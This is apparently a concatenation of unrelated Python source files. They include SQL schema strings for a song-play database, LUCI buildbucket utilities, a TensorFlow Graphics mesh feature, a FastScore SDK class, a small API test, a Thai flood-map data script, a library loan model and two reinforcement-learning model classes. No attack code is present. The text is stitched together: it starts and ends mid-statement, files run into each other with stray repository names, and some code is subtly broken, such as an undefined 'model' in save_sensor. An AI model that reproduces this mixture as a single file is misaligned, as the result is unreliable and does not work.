TABLE IF EXISTS users;" song_table_drop = "DROP TABLE IF EXISTS songs;" artist_table_drop = "DROP TABLE IF EXISTS artists;" time_table_drop = "DROP TABLE IF EXISTS time;" # CREATE TABLES songplay_table_create = (""" CREATE TABLE songplays ( songplay_id SERIAL PRIMARY KEY, start_time TIMESTAMP, user_id VARCHAR NOT NULL, level VARCHAR, song_id VARCHAR, artist_id VARCHAR, session_id VARCHAR NOT NULL, location VARCHAR, user_agent VARCHAR ); """) user_table_create = (""" CREATE TABLE users ( user_id VARCHAR PRIMARY KEY, first_name VARCHAR, last_name VARCHAR, gender VARCHAR, level VARCHAR NOT NULL); """) song_table_create = (""" CREATE TABLE songs ( song_id VARCHAR PRIMARY KEY, title VARCHAR NOT NULL, artist_id VARCHAR, year INT, duration FLOAT); """) artist_table_create = (""" CREATE TABLE artists ( artist_id VARCHAR PRIMARY KEY, name VARCHAR NOT NULL, location VARCHAR, latitude FLOAT, longitude FLOAT); """) time_table_create = (""" CREATE TABLE time ( start_time TIMESTAMP PRIMARY KEY, hour INT, day INT, week INT, month INT, year INT, weekday INT); """) # INSERT RECORDS songplay_table_insert = (""" INSERT INTO songplays ( start_time, user_id, level, song_id, artist_id, session_id, location, user_agent) VALUES (%s, %s, %s, %s, %s, %s, %s, %s); """) user_table_insert = (""" INSERT INTO users ( user_id, first_name, last_name, gender, level) VALUES (%s,%s,%s,%s,%s) ON CONFLICT (user_id) DO UPDATE SET level=EXCLUDED.level; """) song_table_insert = (""" INSERT INTO songs ( song_id, title, artist_id, year, duration) VALUES (%s, %s, %s, %s, %s) ON CONFLICT (song_id) DO NOTHING; """) artist_table_insert = (""" INSERT INTO artists ( artist_id, name, location, latitude, longitude) values (%s, %s, %s, %s, %s) ON CONFLICT (artist_id) DO NOTHING; """) time_table_insert = (""" INSERT INTO time ( start_time, hour, day, week, month, year, weekday) values (%s, %s, %s, %s, %s, %s, %s) ON CONFLICT (start_time) DO NOTHING; """) # FIND SONGS song_select = (""" SELECT song_id, songs.artist_id FROM songs JOIN artists ON songs.artist_id = artists.artist_id WHERE songs.title = %s and artists.name = %s and songs.duration=%s """) # QUERY LISTS create_table_queries = [songplay_table_create, user_table_create, song_table_create, artist_table_create, time_table_create] drop_table_queries = [songplay_table_drop, user_table_drop, song_table_drop, artist_table_drop, time_table_drop]# Copyright 2018 The LUCI Authors. All rights reserved. # Use of this source code is governed under the Apache License, Version 2.0 # that can be found in the LICENSE file. import datetime import re import urlparse from PB.go.chromium.org.luci.buildbucket.proto import common as common_pb2 # UTC datetime corresponding to zero Unix timestamp. EPOCH = datetime.datetime.utcfromtimestamp(0) def parse_http_host_and_path(url): parsed = urlparse.urlparse(url) if not parsed.scheme: parsed = urlparse.urlparse('https://' + url) if (parsed.scheme in ('http', 'https') and not parsed.params and not parsed.query and not parsed.fragment): return parsed.netloc, parsed.path return None, None def parse_gitiles_repo_url(repo_url): host, project = parse_http_host_and_path(repo_url) assert host and project and '+' not in project.split('/'), ( 'invalid repo_url %s' % repo_url) project = project.strip('/') if project.startswith('a/'): project = project[len('a/'):] if project.endswith('.git'): project = project[:-len('.git')] return host, project def is_sha1_hex(sha1): return sha1 and re.match('^[0-9a-f]{40}$', sha1) def _parse_build_set(bs_string): """Parses a buildset string to GerritChange or GitilesCommit. A port of https://chromium.googlesource.com/infra/luci/luci-go/+/fe4e304639d11ca00537768f8bfbf20ffecf73e6/buildbucket/buildset.go#105 """ assert isinstance(bs_string, basestring) p = bs_string.split('/') if '' in p: return None n = len(p) if n == 5 and p[0] == 'patch' and p[1] == 'gerrit': return common_pb2.GerritChange( host=p[2], change=int(p[3]), patchset=int(p[4]) ) if n >= 5 and p[0] == 'commit' and p[1] == 'gitiles': if p[n-2] != '+' or not is_sha1_hex(p[n-1]): return None return common_pb2.GitilesCommit( host=p[2], project='/'.join(p[3:n-2]), # exclude plus id=p[n-1], ) return None def _parse_buildset_tags(tags): bs_prefix = 'buildset:' for t in tags: if t.startswith(bs_prefix): bs = _parse_build_set(t[len(bs_prefix):]) if bs: yield bs def timestamp_to_datetime(value): """Converts integer timestamp in microseconds since epoch to UTC datetime.""" assert isinstance(value, (int, long, float)), value return EPOCH + datetime.timedelta(microseconds=value) def tags(**tags): """Helper method to generate a list of StringPair messages. This method is useful to prepare tags argument for ci/try_build above and schedule methods in the api.py. Args: * tags: Dict mapping keys to values. A value can be a list of values in which case multiple tags for the same key will be created. Returns: List of common_pb2.StringPair messages. """ messages = [] for key, values in tags.iteritems(): if not isinstance(values, list): values = [values] for value in values: messages.append(common_pb2.StringPair(key=key, value=value)) return messages 1000+ # Copyright 2020 The TensorFlow Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Triangle mesh feature.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import six import tensorflow.compat.v2 as tf from tensorflow_datasets import features from tensorflow_graphics.io import triangle_mesh class TriangleMesh(features.FeaturesDict): """`FeatureConnector` for triangle meshes. During `_generate_examples`, the feature connector accepts as input any of: * `str`: path to a {obj,stl,ply,glb} triangle mesh. * `trimesh.Trimesh`: A triangle mesh object. * `trimesh.Scene`: A scene object containing multiple TriangleMesh objects. * `dict:` A dictionary containing the vertices and faces of the mesh (see output format below). Output: A dictionary containing: # TODO(b/156112246): Add additional attributes (vertex normals, colors, # texture coordinates). * 'vertices': A `float32` tensor with shape `[N, 3]` denoting the vertex coordinates, where N is the number of vertices in the mesh. * 'faces': An `int64` tensor with shape `[F, 3]` denoting the face vertex indices, where F is the number of faces in the mesh. Note: In case the input specifies a Scene (with multiple meshes), the output will be a single TriangleMesh which combines all the triangle meshes in the scene. """ def __init__(self): super(TriangleMesh, self).__init__({ 'vertices': features.Tensor(shape=(None, 3), dtype=tf.float32), 'faces': features.Tensor(shape=(None, 3), dtype=tf.uint64), }) def encode_example(self, path_or_trianglemesh): """Convert the given triangle mesh into a dict convertible to tf example.""" if isinstance(path_or_trianglemesh, six.string_types): # The parameter is a path. with tf.io.gfile.GFile(path_or_trianglemesh, 'rb') as tmesh_file: features_dict = self._convert_to_trimesh_feature( triangle_mesh.load(tmesh_file)) elif hasattr(path_or_trianglemesh, 'read') and hasattr( path_or_trianglemesh, 'name') and hasattr(path_or_trianglemesh, 'seek'): # The parameter is a file object. path_or_trianglemesh.seek(0) # reset features_dict = self._convert_to_trimesh_feature( triangle_mesh.load(path_or_trianglemesh)) elif isinstance(path_or_trianglemesh, dict): # The parameter is already a Trimesh dictionary. features_dict = path_or_trianglemesh else: # The parameter is a Trimesh or a Scene. features_dict = self._convert_to_trimesh_feature(path_or_trianglemesh) return super(TriangleMesh, self).encode_example(features_dict) def _convert_to_trimesh_feature(self, obj): if isinstance(obj, triangle_mesh.Trimesh): vertices = np.array(obj.vertices) faces = np.array(obj.faces, dtype=np.uint64) elif isinstance(obj, triangle_mesh.Scene): # Concatenate all the vertices and faces of the triangle meshes in the # scene. # TODO(b/156117488): Change to a different merging algorithm to avoid # duplicated vertices. vertices_list = [ np.array(mesh.vertices) for mesh in obj.geometry.values() ] faces_list = np.empty((len(obj.geometry.values())), dtype=np.dtype(object)) for idx, mesh in enumerate(obj.geometry.values()): faces_list[idx] = np.array(mesh.faces, dtype=np.uint64) faces_offset = np.cumsum( [vertices.shape[0] for vertices in vertices_list], dtype=np.uint64) faces_list[1:] += faces_offset[:-1] vertices = np.concatenate(vertices_list, axis=0) faces = np.concatenate(faces_list, axis=0) else: raise ValueError('obj should be either a Trimesh or a Scene') return { 'vertices': vertices.astype(np.float32), 'faces': faces, } @classmethod def from_json_content(cls, value) -> 'TriangleMesh': return cls() def to_json_content(self): return {} modelop/fastscore-sdkpython/fastscore/suite/model_manage.py from .instance import InstanceBase from ..model import Model, ModelMetadata from ..schema import Schema, SchemaMetadata from ..stream import Stream, StreamMetadata from ..sensor import Sensor, SensorMetadata from ..errors import FastScoreError from ..v1.rest import ApiException from ..constants import MODEL_CONTENT_TYPES from ..v1 import ModelManageApi from ..v2 import ModelManageApi as ModelManageApi2 class ModelManage(InstanceBase): """ An instance of a Model Manage service. Use :class:`.Connect` to create a ModelManage instance: >>> mm = connect.lookup('model-manage') """ class ModelBag(object): def __init__(self, model_manage): self.mm = model_manage def names(self): try: return self.mm.swg.model_list(self.mm.name) except Exception as e: raise FastScoreError("Cannot list models", caused_by=e) def __iter__(self): for x in self.mm.swg.model_list(self.mm.name, _return='type'): yield ModelMetadata(x['name'], x['type']) def __getitem__(self, name): try: (source,_,headers) = self.mm.swg.model_get_with_http_info(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: # less scary raise FastScoreError("Model '%s' not found" % name) else: raise FastScoreError("Cannot retrieve '%s' model" % name, caused_by=e) ct = headers['content-type'] for mtype,ct1 in MODEL_CONTENT_TYPES.items(): if ct1 == ct: return Model(name, mtype=mtype, source=source, model_manage=self.mm) raise FastScoreError("Unexpected model MIME type '%s'" % ct) def __setitem__(self, name, what): raise FastScoreError("Model assignment not allowed (use update() method)") def __delitem__(self, name): try: self.mm.swg.model_delete(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: # less scary raise FastScoreError("Model '%s' not found" % name) else: raise FastScoreError("Cannot remove model '%s'" % name, caused_by=e) class SchemaBag(object): def __init__(self, model_manage): self.mm = model_manage def names(self): try: return self.mm.swg.schema_list(self.mm.name) except Exception as e: raise FastScoreError("Cannot list schemas", caused_by=e) def __iter__(self): try: for x in self.mm.swg.schema_list(self.mm.name): yield SchemaMetadata(x) except Exception as e: raise FastScoreError("Cannot iterate schemas", caused_by=e) def __getitem__(self, name): try: source = self.mm.swg.schema_get(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Schema '%s' not found" % name) else: raise FastScoreError("Cannot retrieve '%s' schema" % name, caused_by=e) return Schema(name, source=source, model_manage=self.mm) def __setitem__(self, name, what): raise FastScoreError("Schema assignment not allowed (use update() method)") def __delitem__(self, name): try: self.mm.swg.schema_delete(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Schema '%s' not found" % name) else: raise FastScoreError("Cannot remove schema '%s'" % name, caused_by=e) class StreamBag(object): def __init__(self, model_manage): self.mm = model_manage def names(self): try: return self.mm.swg.stream_list(self.mm.name) except Exception as e: raise FastScoreError("Cannot list streams", caused_by=e) def __iter__(self): for x in self.mm.swg.stream_list(self.mm.name): yield StreamMetadata(x) def __getitem__(self, name): try: desc = self.mm.swg.stream_get(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Stream '%s' not found" % name) else: raise FastScoreError("Cannot retrieve '%s' stream" % name, caused_by=e) return Stream(name, desc, model_manage=self.mm) def __setitem__(self, name, what): raise FastScoreError("Stream assignment not allowed (use update() method") def __delitem__(self, name): try: self.mm.swg.stream_delete(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Stream '%s' not found" % name) else: raise FastScoreError("Cannot remove stream '%s'" % name, caused_by=e) class SensorBag(object): def __init__(self, model_manage): self.mm = model_manage def names(self): try: return self.mm.swg.sensor_list(self.mm.name) except Exception as e: raise FastScoreError("Cannot list sensors", caused_by=e) def __iter__(self): try: for x in self.mm.swg.sensor_list(self.mm.name): yield SensorMetadata(x) except Exception as e: raise FastScoreError("Cannot iterate sensors", caused_by=e) def __getitem__(self, name): try: desc = self.mm.swg.sensor_get(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Sensor '%s' not found" % name) else: raise FastScoreError("Cannot retrieve '%s' sensor" % name, caused_by=e) return Sensor(name, desc=desc, model_manage=self.mm) def __setitem__(self, name, what): raise FastScoreError("Sensor assignment not allowed (use update() method") def __delitem__(self, name): try: self.mm.swg.sensor_delete(self.mm.name, name) except Exception as e: if isinstance(e, ApiException) and e.status == 404: raise FastScoreError("Sensor '%s' not found" % name) else: raise FastScoreError("Cannot remove sensor '%s'" % name, caused_by=e) def __init__(self, name): super(ModelManage, self).__init__(name, 'model-manage', \ ModelManageApi(), ModelManageApi2()) self._models = ModelManage.ModelBag(self) self._schemata = ModelManage.SchemaBag(self) self._streams = ModelManage.StreamBag(self) self._sensors = ModelManage.SensorBag(self) @property def models(self): """ A collection of :class:`.Model` objects indexed by model name. >>> mm.models.names() [u'model-1'] >>> model = mm.models['model-1'] >>> model.mtype 'python' >>> del mm.models['model-1'] >>> mm.models.names() [] """ return self._models @property def schemata(self): """ A collection of :class:`.Schema` objects indexed schema name. The alternative name for the property is 'schemas'. >>> from fastscore import Schema >>> s = Schema('schema-1') >>> s.source = '{"type": "string"}' >>> s.update(mm) False # Success; schema created, not updated >>> mm.schemata.names() ['schema-1'] >>> del mm.schemata['schema-1'] >>> mm.schemata.names() [] """ return self._schemata @property def schemas(self): return self._schemata @property def streams(self): """ A collection of :class:`.Stream` objects indexed by stream name. >>> mm.streams.names() ['demo-1','demo-2] >>> mm.streams['demo-1'].desc {u'Description': u'A demo stream... } >>> del.strems['demo-2'] >> mm.streams.names() ['demo-1'] """ return self._streams @property def sensors(self): """ A collection of :class:`.Sensor` objects indexed by sensor name. >>> from fastscore import Sensor >>> s = Sensor('sensor-1') >>> s.desc = {'tap': 'manifold.input.records.size',... } >>> s.update(mm) False # Success; sensor created, not updated >>> mm.sensors.names() ['sensor-1'] >>> del mm.sensors['sensor-1'] >>> mm.sensors.names() [] """ return self._sensors def save_model(self, model): if model.source == None: raise FastScoreError("Model source property not set") ct = MODEL_CONTENT_TYPES[model.mtype] try: (_,status,_) = self.swg.model_put_with_http_info(self.name, model.name, model.source, content_type=ct) return status == 204 except Exception as e: raise FastScoreError("Cannot save model '%s'" % model.name, caused_by=e) def save_schema(self, schema): if schema.source == None: raise FastScoreError("Schema source property not set") try: (_,status,_) = self.swg.schema_put_with_http_info(self.name, schema.name, schema.source) return status == 204 except Exception as e: raise FastScoreError("Cannot save schema '%s'" % schema.name, caused_by=e) def save_stream(self, stream): if stream.desc == None: raise FastScoreError("Stream descriptor property not set") try: (_,status,_) = self.swg.stream_put_with_http_info(self.name, stream.name, stream.desc) return status == 204 except Exception as e: raise FastScoreError("Cannot save stream '%s'" % stream.name, caused_by=e) def save_sensor(self, sensor): if sensor.desc == None: raise FastScoreError("Sensor descriptor property not set") try: (_,status,_) = self.swg.sensor_put_with_http_info(self.name, sensor.name, sensor.desc) return status == 204 except Exception as e: raise FastScoreError("Cannot save sensor '%s'" % model.name, caused_by=e) from wykop.core.credentials import Credentials from wykop.core.requestor import Requestor class TestRequestor(object): def test_should_named_parameters_be_string(self): api = self.create_requestor() params = api.named_params(named_params={}) for key, value in params.items(): assert isinstance(key, str) assert isinstance(value, str) def test_should_take_only_named_parameters_with_value(self): api = self.create_requestor() params_with_no_value = 'params_with_no_value' params_with_value = 'params_with_value' named_params = { params_with_no_value: None, params_with_value: "value" } params = api.named_params(named_params=named_params) assert params_with_no_value not in params assert params_with_value in params def test_should_not_take_named_parameters_with_empty_value(self): api = self.create_requestor() params_with_empty_value = 'params_with_value' named_params = { params_with_empty_value: "" } params = api.named_params(named_params=named_params) assert params_with_empty_value not in params def create_requestor(self): return Requestor(Credentials("appkey", "secretkey")) kimgiftww/temp_dash from requirements import * df = gpd.read_file('gadm36_THA_2.shp') df['point'] = df['geometry'].to_crs(epsg=4326).centroid df['lat'] = df.point.y df['lon'] = df.point.x # df['fw'] = 1 df = df.dropna(subset=['NL_NAME_2']) # , inplace=True df.loc[df.NAME_1.str.contains('Bangkok'), 'NL_NAME_1'] = 'กรุงเทพมหานคร' df.loc[df.NAME_1.str.contains('Chaiyaphum'), 'NL_NAME_1'] = 'ชัยภูมิ' df.loc[df.NL_NAME_2.str.contains('บางกะป'), 'NL_NAME_2'] = 'บางกะปิ' df.loc[df.NL_NAME_2.str.contains('ทวีวัฒนา'), 'NL_NAME_2'] = 'ทวีวัฒนา' df.loc[df.NL_NAME_2.str.contains('ธนบุร'), 'NL_NAME_2'] = 'ธนบุรี' df.loc[df.NL_NAME_2.str.contains('หลักส'), 'NL_NAME_2'] = 'หลักสี่' df.loc[df.NL_NAME_2.str.contains('บึงกาฬ'), 'NL_NAME_2'] = 'เมืองบึงกาฬ' df.loc[df.NL_NAME_2.str.contains('เมืองยาง'), 'NL_NAME_2'] = 'เมืองยาง' df.loc[df.NL_NAME_2.str.contains('สุขสำราญ'), 'NL_NAME_2'] = 'สุขสำราญ' df.loc[df.NL_NAME_2.str.contains( 'เฉลิมพระเกียรต'), 'NL_NAME_2'] = 'เฉลิมพระเกียรติ' df.loc[df.NL_NAME_2.str.contains('ศรีนครินทร'), 'NL_NAME_2'] = 'ศรีนครินทร์' df.loc[df.NL_NAME_2.str.contains('ปากพยูน'), 'NL_NAME_2'] = 'ปากพะยูน' df.loc[df.NL_NAME_2.str.contains('ภูชาง'), 'NL_NAME_2'] = 'ภูซาง' df.loc[df.NL_NAME_2.str.contains('วชิระบารมี'), 'NL_NAME_2'] = 'วชิรบารมี' df.loc[df.NL_NAME_2.str.contains('บึงบูรณ์'), 'NL_NAME_2'] = 'บึงบูรพ์' df.loc[df.NL_NAME_2.str.contains('เกาะพงัน'), 'NL_NAME_2'] = 'เกาะพะงัน' df.loc[df.NL_NAME_2.str.contains('พิบูลรักษ์'), 'NL_NAME_2'] = 'พิบูลย์รักษ์' df.loc[df.NL_NAME_2.str.contains('จุฬาภรณ'), 'NL_NAME_2'] = 'จุฬาภรณ์' df.loc[df.NL_NAME_2.str.contains('หนองบุญนาก'), 'NL_NAME_2'] = 'หนองบุญมาก' df.loc[df.NL_NAME_2.str.contains('โคกโพธิ์ชัย'), 'NL_NAME_2'] = 'โคกโพธิ์ไชย' df.loc[df.NL_NAME_2.str.contains('กุฉินารายน์'), 'NL_NAME_2'] = 'กุฉินารายณ์' df.loc[df.NL_NAME_2.str.contains('สนามชัยเขต'), 'NL_NAME_2'] = 'สนามชัย' df.loc[df.NL_NAME_2.str.contains('ราชสาสน์'), 'NL_NAME_2'] = 'ราชสาส์น' df.NL_NAME_2 = df.NL_NAME_2.str.replace('กิ่ง', '') df.NL_NAME_2 = df.NL_NAME_2.str.replace('อำเภอ', '') df.NL_NAME_1 = df.NL_NAME_1.str.replace('จังหวัด', '') df.NL_NAME_1 = df.NL_NAME_1.str.replace('อำเภอเมือง', '') df['p_a'] = df.NL_NAME_1 + '_' + df.NL_NAME_2 df['P_A'] = df.NAME_1 + '_' + df.NAME_2 fw = pd.read_csv('district.csv', header=None)[0] print('fw_data', fw) df.loc[df.NL_NAME_2.isin(fw) # df.NL_NAME_2.str.contains('|'.join(fw)) | df.p_a.str.contains('พิษณุโลก_วังทอง') | df.p_a.str.contains('สระบุรี_เฉลิมพระเกียรติ') | df.p_a.str.contains('พระนครศรีอยุธยา_เสนา'), 'symbol'] = 'swimming' fw = df.loc[df.symbol == 'swimming']['p_a'].unique() print('fw_data', fw) dfm = pd.read_pickle('hdg.pickle') print('dfm from hdg.pickle', len(dfm), dfm.columns) region = np.sort(dfm.region.dropna().unique()) regiond = [{'label': i, 'value': i} for i in region] + [{'label': 'น้ำท่วม', 'value': 'FLOOD'}] region_c = np.sort(dfm.region_c.dropna().unique()) region_cd = [{'label': i, 'value': i} for i in region_c] + [{'label': 'FLOOD', 'value': 'FLOOD'}] suppliername = np.sort(dfm.suppliername.unique()) suppliercode = np.sort(dfm.suppliercode.unique()) # gb = ['region', 'p_a'] # gb = ['provincename','district_c'] cj = ['CC_2', 'geometry', 'point', 'NL_NAME_2', 'NL_NAME_1', 'NAME_2', 'NAME_1', 'HASC_2', 'p_a', 'P_A', 'symbol', 'lat', 'lon'] ndmap = {'น้ำท่วม': 'flood', 'พายุ': 'storm', 'ลูกเห็บ': 'snow', 'แผ่นดินไหว': 'quake'} def dfmm(dfm, nd, *region_c): ndq = [nd, 'q_'+ndmap[nd], 'qr_'+ndmap[nd]] if region_c: gb = ['region_c', 'P_A'] dfmg = dfm.groupby(gb)[ndq].sum().reset_index() dfmg[nd] = dfmg[nd].astype(int) dfmg['qp_'+ndmap[nd]] = (dfmg[nd] / dfmg['q_'+ndmap[nd]])*100 dfmg['text'] = dfmg.P_A + '
    ' + dfmg[nd].apply(lambda x: f'{x:,.0f}') dfmg['qtext'] = dfmg.P_A + '
    ' + \ dfmg['qp_'+ndmap[nd]].apply(lambda x: f'{x:,.0f}%') dfmm = df[cj].merge(dfmg, left_on='P_A', right_on='P_A', how='left') dfmm = dfmm.dropna(subset=[nd]).rename(columns={'P_A': 'name'}) else: gb = ['region', 'p_a'] dfmg = dfm.groupby(gb)[ndq].sum().reset_index() dfmg[nd] = dfmg[nd].astype(int) dfmg['qp_'+ndmap[nd]] = (dfmg[nd] / dfmg['q_'+ndmap[nd]])*100 dfmg['text'] = dfmg.p_a + '
    ' + dfmg[nd].apply(lambda x: f'{x:,.0f}') dfmg['qtext'] = dfmg.p_a + '
    ' + \ dfmg['qp_'+ndmap[nd]].apply(lambda x: f'{x:,.0f}%') dfmm = df[cj].merge(dfmg, left_on='p_a', right_on='p_a', how='left') dfmm = dfmm.dropna(subset=[nd]).rename(columns={'p_a': 'name'}) return dfmm hexagonal/model/patron.py from hexagonal.model.user import User from hexagonal.model.document_copy import DocumentCopy from hexagonal.model.book import Book from hexagonal.model.loan import Loan from hexagonal.auth.permissions import Permission import datetime from hexagonal import db from sqlalchemy.ext.hybrid import hybrid_property class Patron(User): """ Abstract base class for patrons. Should not be directly instantiated """ __mapper_args__ = { 'polymorphic_identity': 'patron' } permissions = [Permission.checkout] def get_checkout_period_for(self, document): """ Get checkout period for a specific document. Abstract in User. :param document: to be checked out :return: timedelta """ raise NotImplementedError() def overdue_loan_query(self): """ Get BaseQuery for all overdue loans of this user. :return: BaseQuery """ return Loan.overdue_loan_query().filter(Loan.user == self) def get_overdue_loans(self): """ Get current overdue associated loans. :return: list of loans """ return self.overdue_loan_query().all() def get_overdue_loan_count(self): """ Get the amount of overdue associated items. :return: amount """ return self.overdue_loan_query().count() def get_total_overdue_fine(self): """ Get total current overdue fine across all loans. Abstract in User. :return: total overdue fine, in rubles """ raise NotImplementedError() def checkout(self, document_copy): """ Try to checkout the required document_copy. Raises TypeError if document_copy is not a DocumentCopy. Raises ValueError if document_copy is not available for loan. :param document_copy: to be checked out. :return: loan object """ if not isinstance(document_copy, DocumentCopy): raise TypeError('document_copy should be of type DocumentCopy') if document_copy.loan is not None: raise ValueError('document {} (id {}) is already borrowed by user {} (id {})'.format( document_copy.document.title, document_copy.id, document_copy.loan.user.name, document_copy.loan.user.id )) if isinstance(document_copy.document, Book) and document_copy.document.reference: raise ValueError( 'document {} (id {}) is a reference book'.format(document_copy.document.title, document_copy.id)) document_copy.loan = Loan(user_id=self.id, document_copy_id=document_copy.id) document_copy.loan.due_date = datetime.date.today() + self.get_checkout_period_for(document_copy.document) db.session.add(document_copy) db.session.add(document_copy.loan) db.session.commit() return document_copy.loan def loan_query(self): """ Get BaseQuery for all approved loans with borrowed documents :return: BaseQuery """ return Loan.query.filter(Loan.user_id == self.id, Loan.status == Loan.Status.approved) def get_loans(self): """ Get all approved loans for this patron. :return: list. """ return self.loan_query().all() def get_loan_count(self): """ Get the amount of all approved loans for this patron. :return: list. """ return self.loan_query().count() def get_borrowed_document_copies(self): """ Get document copies that are currently borrowed by this user. :return: list of document_copies """ return list(map( lambda x: x.document_copy, self.loan_query().all() )) def get_borrowed_document_copy_count(self): """ Get the amount of borrowed document copies. :return: amount """ return self.loan_query().count() def requested_loans_query(self): return Loan.query.filter(Loan.user_id == self.id, Loan.status == Loan.Status.requested) def get_requested_loans(self): return self.requested_loans_query().all() def get_requested_loan_count(self): return self.requested_loans_query().count() def returned_loans_query(self): return Loan.query.filter(Loan.user_id == self.id, Loan.status == Loan.Status.returned) def get_returned_loans(self): return self.returned_loans_query().all() def get_returned_loan_count(self): return self.returned_loans_query().count() @hybrid_property def queuing_priority(self): raise NotImplementedError word=input() num=int(input()) result=(word[num]) print(result)grasp/value_functions.py from typing import Sequence import torch from rlpyt.models.mlp import MlpModel from rlpyt.utils.tensor import infer_leading_dims, restore_leading_dims from grasp.encoder import make_encoder class QofMuCnnModel(torch.nn.Module): """Q portion of the model for DDPG, an MLP.""" def __init__( self, observation_shape: Sequence[int], action_size: int, hidden_sizes: Sequence[int], encoder_feature_dim: int = 32, encoder_num_layers: int = 2, encoder_num_filters: int = 32, ): """Instantiate neural net according to inputs.""" super().__init__() self._obs_ndim = len(observation_shape) self.encoder = make_encoder( "pixel", obs_shape=observation_shape, feature_dim=encoder_feature_dim, num_layers=encoder_num_layers, num_filters=encoder_num_filters, ) self.head = MlpModel( input_size=encoder_feature_dim + action_size, hidden_sizes=list(hidden_sizes), output_size=1, ) def forward(self, observation, prev_action, prev_reward, action): lead_dim, T, B, shape = infer_leading_dims(observation, self._obs_ndim) encoder_output = self.encoder(observation.view(T * B, *shape)) q_input = torch.cat([encoder_output, action.view(T * B, -1)], dim=1) q = self.head(q_input).squeeze(-1) q = restore_leading_dims(q, lead_dim, T, B) return q 1-10 # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import numpy as np from collections import OrderedDict from typing import List, Dict from gym import spaces from ray.rllib.utils.framework import try_import_tf, get_activation_fn from ray.rllib.utils.annotations import override from ray.rllib.utils.types import ModelConfigDict, TensorType from ray.rllib.models import ModelCatalog from ray.rllib.models.tf.misc import normc_initializer from ray.rllib.models.modelv2 import ModelV2 from ray.rllib.models.tf.tf_modelv2 import TFModelV2 from ray.rllib.models.preprocessors import get_preprocessor import tensorflow as tf tf1, tf, tf_version = try_import_tf() class CentralizedActorCriticModel(TFModelV2): CRITIC_OBS = "critic_obs" def __init__( self, obs_space: spaces.Space, action_space: spaces.Space, num_outputs: int, model_config: ModelConfigDict, name: str, ): super(CentralizedActorCriticModel, self).__init__( obs_space, action_space, num_outputs, model_config, name ) model_config = model_config["custom_model_config"] self.n_agents = model_config["agent_number"] if model_config["critic_mode"] == "mean": self.critic_obs = spaces.Dict( OrderedDict( { "own_obs": self.obs_space, "own_act": self.action_space, "oppo_act": self.action_space, } ) ) else: self.critic_obs = spaces.Dict( OrderedDict( { **{f"AGENT-{i}": self.obs_space for i in range(self.n_agents)}, **{ f"AGENT-{i}-action": self.action_space for i in range(self.n_agents) }, } ) ) self.critic_preprocessor = get_preprocessor(self.critic_obs)(self.critic_obs) self.obs_preprocessor = get_preprocessor(self.obs_space)(self.obs_space) self.act_preprocessor = get_preprocessor(self.action_space)(self.action_space) self.action_model = self._build_action_model(model_config["action_model"]) self.value_model = self._build_value_model(model_config["value_model"]) self.register_variables(self.action_model.variables) self.register_variables(self.value_model.variables) def _build_action_model(self, model_config: ModelConfigDict): """Build action model with model configuration model_config = {'activation': str, 'hiddens': Sequence} """ activation = get_activation_fn(model_config.get("activation")) hiddens = model_config.get("hiddens", []) inputs = tf.keras.layers.Input( shape=(np.product(self.obs_preprocessor.shape),), name="policy-inputs" ) last_layer = inputs for i, size in enumerate(hiddens): last_layer = tf.keras.layers.Dense( size, name="fc_{}".format(i), activation=activation, kernel_initializer=normc_initializer(1.0), )(last_layer) logits_out = tf.keras.layers.Dense( self.num_outputs, name="logits_out", activation=None, kernel_initializer=normc_initializer(0.01), )(last_layer) return tf.keras.Model(inputs, [logits_out]) def _build_value_model(self, model_config: ModelConfigDict): """Build value model with given model configuration model_config = {'activation': str, 'hiddens': Sequence} """ activation = get_activation_fn(model_config.get("activation")) hiddens = model_config.get("hiddens", []) inputs = tf.keras.layers.Input( shape=(np.product(self.critic_preprocessor.shape),), name="value-inputs" ) last_layer = inputs for i, size in enumerate(hiddens): last_layer = tf.keras.layers.Dense( size, name="fc_{}".format(i), activation=activation, kernel_initializer=normc_initializer(1.0), )(last_layer) value_out = tf.keras.layers.Dense( 1, name="value_out", activation=None, kernel_initializer=normc_initializer(0.01), )(last_layer) return tf.keras.Model(inputs, [value_out]) @override(ModelV2) def forward( self, input_dict: Dict[str, TensorType], state: List[TensorType], seq_lens: TensorType, ) -> (TensorType, List[TensorType]): # obs = self.obs_preprocessor.transform(input_dict["obs"]) logits_out = self.action_model(input_dict["obs_flat"]) return logits_out, state def central_value_function(self, critic_obs): # Dict({obs, action}) # critic_obs = self.critic_preprocessor.transform(critic_obs) self._value_out = self.value_model(critic_obs) return tf.reshape(self._value_out, [-1]) @override(ModelV2) def value_function(self) -> TensorType: return tf.reshape(self._value_out, 